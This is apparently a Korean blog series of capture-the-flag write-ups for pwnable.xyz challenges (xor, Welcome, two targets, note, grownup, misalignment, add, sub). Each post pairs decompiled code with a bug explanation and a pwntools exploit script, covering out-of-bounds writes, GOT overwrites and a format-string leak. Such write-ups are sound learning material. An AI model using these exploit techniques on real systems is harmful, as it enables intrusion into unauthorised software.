728x90

 

또 win함수가 있다. 

main에서 어떠한 방법으로 win함수를 호출해야 하는데, main함수를 보면, 

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-24h]
  __int64 v4; // [rsp+10h] [rbp-20h]
  __int64 v5; // [rsp+18h] [rbp-18h]
  __int64 v6; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  puts("The Poopolator");
  setup("The Poopolator", argv);
  while ( 1 )
  {
    v6 = 0LL;
    printf(format);
    v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6);
    if ( !v4 || !v5 || !v6 || v6 > 9 || v3 != 3 )
      break;
    result[v6] = v5 ^ v4;
    printf("Result: %ld\n", result[v6]);
  }
  exit(1);
}

처음엔 xor의 결과값인 result가 배열로 선언되어 있어서 v6를 0으로 하면 풀릴 줄 알았는데  if문에서 v6 > 9라는 조건이 있었다.

이 문제의 풀이방법은 코드중 수정할수 있는 부분을 찾아서 수정하고, 원래 불러오려던 함수가 아닌 win함수를 불러오게 하는 것 이다.

 

우선, gdb-peda의 vmmap을 이용하여, 수정할수 있는 부분을 확인한다. (정확하게는 가상메모리의 레이아웃을 출력하는 것이다.)

 

이렇게 빨간색 코드영역의 권한에 w권한이 있으므로, 수정할 수 있다.

이 점을 이용하여, 'call exit', 즉 exit함수가 호출되는 부분을 win이 호출되도록 수정할것이다.

우리가 이용할 코드는 'result[v6] = v5^v4'이고, 좌변엔 call exit의 주소, 우변엔 call win의 주소를 넣어주면 된다.

 

여기서 v6를 구할때 생각을 해보면 기본값은 result변수 주소로 들어가있을 것이다. 그러면

[call exit주소 - result변수 주소]/8(64비트이므로) 을 해주면 될것이다.

call exit 주소
result 변수 주소

근데 여기서 call exit주소는 마지막 3개만 읽어줘야하는데, 

프로그램 실행 전

이렇게 프로그램을 돌리기 전의 offset이기 때문이다.

(0xac8 - 0x202200)/8 = -262887 >>v6

 

이제 call win의 주소를 구하면 되는데, 

 

jmp, call instruction 주소 계산

Intel x86 architecture에서 JMP, CALL 명령어는 5Byte로 opcode와 operand는 다음과 같다. ```c JMP  : E9 XX XX XX XX CALL : E8 XX XX XX XX ``` 이 때 operand는 절대주소 값이 아니라, 현 위치 기준 상대주..

umbum.dev

위 글과 같이 64비트에서 call 명령의 형식은 E8 xx xx xx xx 이다. (리틀엔디안)_

-acd + a21 = ffff ff54 

따라서 ffffff54e8을 넣어주면 되고, xor을 두번하면 그대로나오니깐 1과 xor을 한번 하면 

ffffff55e8이다. 10진수로 1,099,511,584,232

따라서 v6 = -262887, v5 = 1,099,511,584,232, v4 = 1.

from pwn import *
p = remote("svc.pwnable.xyz", 30029)
p.sendafter(">", "1 1099511584232 -262887")
p.sendafter(" ", "a")

print p.recv(1024)
p.interactive()

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Welcome  (0) 2020.09.28
[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
728x90

우선 ida에서 코드를 보면, 

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *v3; // rbx
  __int64 v4; // rdx
  char *v5; // rbp
  __int64 v6; // rdx
  size_t v7; // rdx
  size_t size; // [rsp+0h] [rbp-28h]
  unsigned __int64 v10; // [rsp+8h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  sub_B4E(a1, a2, a3);
  puts("Welcome.");
  v3 = malloc(0x40000uLL);
  *v3 = 1LL;
  _printf_chk(1LL, "Leak: %p\n", v3);
  _printf_chk(1LL, "Length of your message: ", v4);
  size = 0LL;
  _isoc99_scanf("%lu", &size);
  v5 = (char *)malloc(size);
  _printf_chk(1LL, "Enter your message: ", v6);
  read(0, v5, size);
  v7 = size;
  v5[size - 1] = 0;
  write(1, v5, v7);
  if ( !*v3 )
    system("cat /flag");
  return 0LL;
}

 

이렇게 있고 보다시피 v3의 값을 0으로 만들어야 한다.

 

 

사실 맨 처음 이 문제를 풀려고 했는데 malloc의 값이 너무 크면 0이 리턴된다는 것 까지 이해했는데 그 다음부터 도저히 이해가 안되서 혼자 여러 상황을 가정하고 코드를 짜보다가 이해했다..(c언어 상식 부족)

 

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
int main() {
	int  k;
	k = 123;
	int add = &k;

	char * lee = 0;
	//lee = (int)("0x00");
	printf("%d", lee[add]);

}

 우선 malloc에 오류가 생기면 nullpointer가 지정된다는 말도 있었고, 그냥 리턴값이 0이라는 말도 있었는데, 일단 전자는 뭔말인지 모르겠으므로 후자가 맞는것 같다 . ㅋㅋㅋ 

이렇게 포인터가 0으로 선언되고, 배열로 사용하면 다른 메모리에 들어있는 값을 읽어올 수 있다. 

 

 

이렇게 말이다.

즉 만약 0으로 초기화된 포인터 변수 lee가 있다고 가정하고

'lee[(원하는 변수의 주소)]'를 출력하면  '원하는 변수'의 값을 출력한다.

 

 

welcome문제에서 처음에 Leak라는 말과 함께 변수 v3의 값의 주소가 나온다. 

그리고 v5 를 malloc하고 v5[size -1]이 0으로 초기화된다. 

우리는 v3의 값을 0으로 만들면 된다.

 

아까 c언어를 예시로 말한것처럼, v5를 malloc하는 과정에서 0으로 초기화된다면, v5[size-1]에서 

size에 v3의 주소 + 1을 넣어주면 v3는 0으로 초기화 될것이다. (v3는 포인터변수인데 딱히 포인터로 쓰이는게 이 문제에선 중요하지 않은것같아서 그냥 변수라고 말함) 

 

pwntool로 짜보면, 

from pwn import *
p=remote("svc.pwnable.xyz", 30000)
p.recvuntil("Leak: 0x")
pl=int(p.recv(12), 16)+1

p.recvuntil(": ")
p.sendline(str(pl))
p.recvuntil(": ")
p.sendline("Adf")
p.interactive()

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] xor  (0) 2020.09.29
[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
728x90

2개의 방법 중 하나를 선택해라고 한다. ㅣㅣ

 

ida로 함수를 보면, //지금 ida로 열다가 에러가 뭔 에러가 나서 변수 이름이 약간 다르다. 

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  const char *v4; // rdi
  signed int v5; // eax
  char s; // [rsp+10h] [rbp-40h]
  __int64 v7; // [rsp+30h] [rbp-20h]
  char *v8; // [rsp+40h] [rbp-10h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  v3 = 0LL;
  v4 = &s;
  memset(&s, 0, 0x38uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu(v4, v3);
      v5 = read_int32();
      if ( v5 != 2 )
        break;
      printf("nationality: ");
      v3 = (char *)&v7;
      v4 = "%24s";
      __isoc99_scanf("%24s", &v7);
    }
    if ( v5 > 2 )
    {
      if ( v5 == 3 )
      {
        printf("age: ");
        v3 = v8;
        v4 = "%d";
        __isoc99_scanf("%d", v8);
      }
      else if ( v5 == 4 )
      {
        v4 = &s;
        if ( (unsigned __int8)auth((__int64)&s) )
          win();
      }
      else
      {
LABEL_14:
        v4 = "Invalid";
        puts("Invalid");
      }
    }
    else
    {
      if ( v5 != 1 )
        goto LABEL_14;
      printf("name: ");
      v3 = &s;
      v4 = "%32s";
      __isoc99_scanf("%32s", &s);
    }
  }
}

처음 코드를 보고 생각한건, auth함수의 리턴값이 true(1)이면 풀리겠다 였다.

auth함수를 보면, 

_BOOL8 __fastcall auth(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-38h]
  char s1[8]; // [rsp+20h] [rbp-30h]
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *(_QWORD *)s1 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  for ( i = 0; (unsigned int)i <= 31; ++i )
    s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) ^ *((_BYTE *)main + i);
  return strncmp(s1, &s2, 32uLL) == 0;

 

&s2 와 s1을 비교해서 같아야 하는데, 위에 연산이 뭔말인지 당최 모르겠다..

&

이 방법 말고 다른 방법을 생각해보면, 3번을 선택했을때, (매뉴에서) 실행되는 scanf함수에서 &v8이 아닌 그냥 v8이 들어가 있다. 따라서 여기에 원하는 주소를 넣어주면 다음에 v8변수를 불러오면 원하는 함수가 실행될 것이다.

 

메모리 상태를 보면, 

지금 살짝 오류가 생겨서 안보이는데, 20이 v7, 10(var_10)이 v8이다. 둘의 거리는 16바이트이고, v7에 scanf는 24바이트를 읽는다. 따라서,  v7에 24바이트를 넣으면 마지막 8바이트는 v8로 들어간다. 

 

결론은,

1. 2번 메뉴에 들어가서 (v7)   아무(16바이트) + 원하는 주소(8바이트) 를 넣어주면 v8에 원하는 주소가 들어가고, 

2. 3번 메뉴에 들어가서(v8, scanf오류) win함수의 주소를 넣어주고, (이 문제도 역시 win함수에 flag가 있다)

3. 4번 메뉴에 들어가면 auth함수에서 strncmp함수를 읽으러 가다가 v8으로 갈것이다. 

 

strncmp got 주소 >> 

 

0x603018 

 

win 함수 주소 >> 

 

payload >>

from pwn import *
r = remote("svc.pwnable.xyz", 30031)
str_got = p64(0x603018)
payload="a"*16 + str_got
##########################3
r.sendafter(">", "2")
r.sendafter("nationality: ", payload)
r.sendafter(">", "3")
r.sendafter("age: ", win)
r.sendafter(">", "4")

r.interactive()

 

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] xor  (0) 2020.09.29
[pwnable.xyz] Welcome  (0) 2020.09.28
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
728x90

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  int v4; // eax

  setup();
  v3 = "Note taking 101.";
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu(v3);
        v4 = read_int32();
        if ( v4 != 1 )
          break;
        edit_note((__int64)v3, (__int64)argv);
      }
      if ( v4 != 2 )
        break;
      edit_desc();
    }
    if ( !v4 )
      break;
    v3 = "Invalid";
    puts("Invalid");
  }
  return 0;

 

함수를 보면 무한 루프를 통하여 1번, 2번, 그 외 상황으로 나뉜다. 

우선 가장 최종 목표는 cat flag를 하는 win함수를 실행하는 것이고, main문엔 win함수를 선언하는 부분이 없으므로 조작을 해주어서 win함수의 주소인 40093c 로 이동해야 한다. 

함수의 정상적인 흐름은 edit_note ~> edit_desc 이지 않을까 라는 생각을 해본다. 써라고 만들었겟지 뭐

void __fastcall edit_note(__int64 a1, __int64 a2)
{
  int v2; // ST04_4
  void *buf; // ST08_8

  printf("Note len? ", a2);
  v2 = read_int32();
  buf = malloc(v2);
  printf("note: ");
  read(0, buf, v2);
  strncpy(s, (const char *)buf, v2);
  free(buf);
  }

 edit_note 함수이다. 

ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(32uLL);
  printf("desc: ");
  return read(0, buf, 32uLL);
}

edit_desc 함수이다.  n의 buf와 d의 buf는 당연히 다르다.

 

 

먼저 함수의 흐름? 을 보면

첫 번째 함수 edit_note를 보면 길이를 정할때 v2에 입력받은 후, n_buf에 v2만큼 동적할당을 한다. 그리고 설정한 길이 v2만큼 n_buf에 입력을 받는다. 다음으로, s에 n_buf에 입력된 값을 v2만큼 복사한다.  그리고 동적할당을 해제한다.

두 번째 함수 edit_desc를 보면 d_buf에 32바이트만큼 입력을 받는다.

 

여기서 사용할 방법은 변수를 함수의 got로 변조하는 방법이다.  (got, plt는 블로그에 따로 쓸 예정 __아직 fsb도 쓰는중..)

우선 ida로 메모리를 보면 

s와 d_buf의 차이가 32바이트, 가깝다.

n_buf에 32바이트를 넣은 다음에 다른 함수의 got를 넣어주면, s에 복사되면서 overflow되고, 다른함수의 got가 d_buf에 들어갈 것이다. 그러면 이제 '다른 함수'가 실행되면, d_buf가 노출될 것이다.

 

그러면 이제 desc함수에서 d_buf에 내가 가고싶은 win함수의 주소를 넣어주면 된다.

여기서 사용할 '다른 함수'를 골라주자. 구조를 보고 적당한걸 고르면 된다.

난 free로 하겠다. (601210)

 

from pwn import *
p = remote("svc.pwnable.xyz", 30016)

p.recv(1024)
p.sendline("1")

p.recv(1024)
p.sendline("60")

p.recv(1024)
p.sendline("a"*32 + p64(0x601210))

p.recv(1024)
p.sendline("2")

p.recv(1024)
p.sendline(p64(0x40093c))

p.recv(1024)
p.sendline("1")

p.recv(1024)
p.sendline("a")

print p.recv(1024)

p.interactive()

  

 

/////////////// 지금 설명에 부족한 부분이 있어 나중에 GOT overwrite? 쓸때 더 보강할 예정 :ㅇ

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Welcome  (0) 2020.09.28
[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
[pwnable.xyz] add  (2) 2020.09.09
728x90

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *src; // ST08_8
  __int64 buf; // [rsp+10h] [rbp-20h]
  __int64 v6; // [rsp+18h] [rbp-18h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup();
  buf = 0LL;
  v6 = 0LL;
  printf("Are you 18 years or older? [y/N]: ", argv);
  *((_BYTE *)&buf + (signed int)((unsigned __int64)read(0, &buf, 0x10uLL) - 1)) = 0;
  if ( (_BYTE)buf != 121 && (_BYTE)buf != 89 )
    return 0;
  src = (char *)malloc(0x84uLL);
  printf("Name: ", &buf);
  read(0, src, 0x80uLL);
  strcpy(usr, src);
  printf("Welcome ", src);
  printf(qword_601160, usr);
  return 0;
}

접속해보면, y/n, name 총 2개를 읽어온다.

flag 의 주소를 알고있으므로, 601080의 값을 읽어 올 수 있으면 풀릴것같다.

 

우린 601160 주소출력문을 이용해 601080값을 읽어와야 한다.

 

위 사진을 보면, usr + 0x80 = qword_601160인걸 알 수 있다.

0x80에 값을 넣을때 main문에선 read~>strcpy를 통해 값을 넣는다. 여기서 이용할 성질은 read는 입력이 끝난 후 null을 쓰지 않지만 strcpy는 null값을 쓴다. 따라서 만일 read에 0x80바이트를 다 넣을 경우, 마지막 1바이트가 null값으로 추가되고, 이 값은 qword_601160 값의 마지막 60부분에 침범하여 qword_601100으로 바뀌게 된다.

 

qword_601100은 printf() 의 매개변수로 쓰이기에, FSB방법을 사용할 수 있다.

FSB방법이란,

그냥 입력값에 인자를 넣어서 스택주소를 노출시키는 취약점을 이용한 것이고, 아직 완벽하게 이해하지 못했다.. 내일 fsb에 대해 더 자세하게 글을 올리겟다 :(

 

 

 

생각을 해보면,

처음 y를 입력받는 구문엔 16바이트를 read하고, 이름을 입력받을땐 80바이트를 받는다.

처음 입력받는 단계에서 우리가 가고싶은 주소, 0x601080을 입력하면 0x6010e0과 0x601160사이 어딘가에 주소가 들어갈 것이다. 0x601080엔 우리가 원하는  flag의 db가 들어가있고, 이 부분의 형식자를 %s로 뽑아주면 원하는 flag가 나올것이다.

 

 

 

 

 

 

 

 

여기서 원하는 0x601080의 위치를 찾았고, (9번째 %p) 이 부분을 %s로 바꿔주면, 

 

 

원하는 flag가 나온다.

 

 

 

 

 

 

 

 

함수 참고~>

 p32(value) : 32비트 리틀 엔디안 방식으로 패킹해주는 함수 (p32(value, endian='big')을 하면 빅 엔디안으로 패킹해준다)

 p32(0x12345678) = \x78\x56\x34\x12

 p64(value) : 64비트 리틀 엔디안 방식으로 패킹해주는 함수 (p64(value, endian='big')을 하면 빅 엔디안으로 패킹해준다)

 p64(0x12345678) = \x00\x00\x00\x00\x78\x56\x34\x12

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] misalignment  (0) 2020.09.10
[pwnable.xyz] add  (2) 2020.09.09
[pwnable.xyz] sub  (0) 2020.09.07
728x90

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-A0h]
  _QWORD v5[3]; // [rsp+18h] [rbp-98h]
  __int64 v6; // [rsp+30h] [rbp-80h]
  __int64 v7; // [rsp+38h] [rbp-78h]
  __int64 v8; // [rsp+40h] [rbp-70h]
  unsigned __int64 v9; // [rsp+A8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  memset(&s, 0, 0x98uLL);
  *(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;
  while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 )
  {
    v5[v8 + 6] = v6 + v7;
    printf("Result: %ld\n", v5[v8 + 6]);
  }
  if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )
    win();
  return 0;
}

qword의 크기를 생각해보자. 

QWORD v5 [rbp-98h]

  __int64 v6 [rbp-80h]

 

따라서 v5의 크기는 \x18이고,  10진수로 표현하면 24이다.

크기가 3인 배열이므로, 하나의 길이는 8비트 이다.

 

위 코드에서 해야할 것은 

if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )

이 문장을 참으로 리턴하는 것이다.

 

초기 설정을 보면 

*(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;

이렇게 설정되어 있고, 이 deadbeef의 값을 바꿔주면 된다.

 while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 ) 
  { 
    v5[v8 + 6] = v6 + v7;

위 조건문을 보면, add 문제와 다르게 v8변수의 범위가 -7이상 9이하로 설정되어 있다.

배열 v5[3]의 스택을 대충 그려보면, 

이런 상황이다. v5[0]에서 7칸이후에 값이 들어간 이유는  v5 + 7 의 값을 deadbeef로 설정했기 때문.

이제 이 위치에 0xB000000B5 를 넣어주면 된다. 그러면 스택 상황은 다음과 같아진다.

memset함수에서 0으로 초기화 시켰기에 빈칸은 \x00이 들어가 있다.

 

이제 해야하는건 v5[0]에 0xb500000000000000을 넣어주고, 

                      v5[1]엔 0x0b000000            를 넣어주는 것이다.

scanf에서 d로 받아오니깐 10진수로 바꿔주자.

v5[0] >> -5,404,319,552,844,595,200

v5[1] >>  184,549,376

 

따라서 페이로드는 

>>-5,404,319,552,844,595,200 0 -6 

      184,549,376 0 -5

  

 

 

pwntool로 작성해보자.

from pwn import *


p = remote("svc.pwnable.xyz", 30003) 
p.sendline("-5404319552844595200 0 -6")
p.sendline("184549376 0 -5")
p.sendline("a")

p.interactive()

 

 

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] add  (2) 2020.09.09
[pwnable.xyz] sub  (0) 2020.09.07
728x90

먼저 ida로 코드를 보자.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  __int64 v4; // [rsp+8h] [rbp-78h]
  __int64 v5; // [rsp+10h] [rbp-70h]
  __int64 v6; // [rsp+18h] [rbp-68h]
  __int64 v7[11]; // [rsp+20h] [rbp-60h]
  unsigned __int64 v8; // [rsp+78h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    v4 = 0LL;
    v5 = 0LL;
    v6 = 0LL;
    memset(v7, 0, 0x50uLL);
    printf("Input: ", argv, v7);
    if ( (unsigned int)__isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 )
      break;
    v7[v6] = v4 + v5;
    argv = (const char **)v7[v6];
    printf("Result: %ld", argv);
  }
  result = 0;
  __readfsqword(0x28u);
  return result;
}

 

 

우선 내가 몰랐던 첫번째 함수는 scanf였다.

if문에서 scanf의 리턴값은 받아온 값의 개수라고 보면 되고, 위의 코드에서는 3개를 모두 받아와야 조건이 충족되는 것이다.

 

그리고 위 코드상으론 flag를 불러오는 부분이 보이질 않는다. 함수를 뒤져보다가, win함수를 발견하였다.

int win()
{
  return system("cat /flag");
}

해당 함수의 주소는 400822이다.

 

문제에서 코드의 취약점은, "v7[v6] = v4 + v5 ;"  이 문장에 있다.

v7이란 배열은 크기가 11로 정해저 있지만, v6에 대한 제약이 없다.

 

또한 오늘 처음으로 알게된 사실인데, 다음과 같이 v6의 제약이 없으면 다음 스택을 (sfp, ret)을 배열 v7[12, 13]이 가리키고 있다. 따라서 ret부분에 win함수의 주소를 넣어주면 된다. 또한, while(1)구문을 빠져나오기 위해 문자 3개까지 넣어주면 페이로드는 완성이다. 

 pwntool로 작성해 보자.

 

from pwn import *

p = remote("svc.pwnable.xyz", 30002)

p.recv(512)
p.sendline("4196386 0 13")

p.recv(512)
p.sendline("a a a")
print p.recv(512)

 

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
[pwnable.xyz] sub  (0) 2020.09.07
728x90

1번문제는 welcome이라는 문제인데 생각보다 어려워서 두번째 문제인 sub부터 시작한다.

 

첨부파일을 ida로 까보면, 잘 보인다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+0h] [rbp-18h]
  int v5; // [rsp+4h] [rbp-14h]
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  sub_A3E(a1, a2, a3);
  v4 = 0;
  v5 = 0;
  _printf_chk(1LL, "1337 input: ");
  _isoc99_scanf("%u %u", &v4, &v5);
  if ( v4 <= 4918 && v5 <= 4918 )
  {
    if ( v4 - v5 == 4919 )
      system("cat /flag");
  }
  else
  {
    puts("Sowwy");
  }
  return 0LL;
}

우선 플래그가 나오는 조건인 cat/ flag 위의 if문을 보자.

변수 v4와 v5의 차이가 4919이어야 하고, 상위 if문은  v4, v5가 각각 4918보다 작거나 같아야 한다고 되어있다.

 

맨 위로 돌아가서, v4, v5가 선언된 부분을 보면, 정수형으로 선언되어있고 각각 0으로 초기화 되었다가 scanf함수에서 

첫 번째로 입력한 정수는 v4로 들어가고, 두 번째로 입력한 정수는 v5로 들어간다.

 

그러면 페이로드는 첫 번째 입력값에 4918, 두 번째 입력값에 -1이 들어가도록 작성하면 된다.

 

pwntool로도 풀어보자.

 

from pwn import *

p = remote("svc.pwnable.xyz", 30001) (remote>> nc 접속 명령어)
print p.recv(11) #프로그램이 출력하는 값을 봐야할때(이땐 11바이트만 받는다)
p.send("4918 -1") #페이로드를 보내는 명령어

p.interactive() #쉘 접속 (bash랑 같은거)

 pwntool 처음써볼때 푸는 문제인것 같다.

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
[pwnable.xyz] add  (2) 2020.09.09

+ Recent posts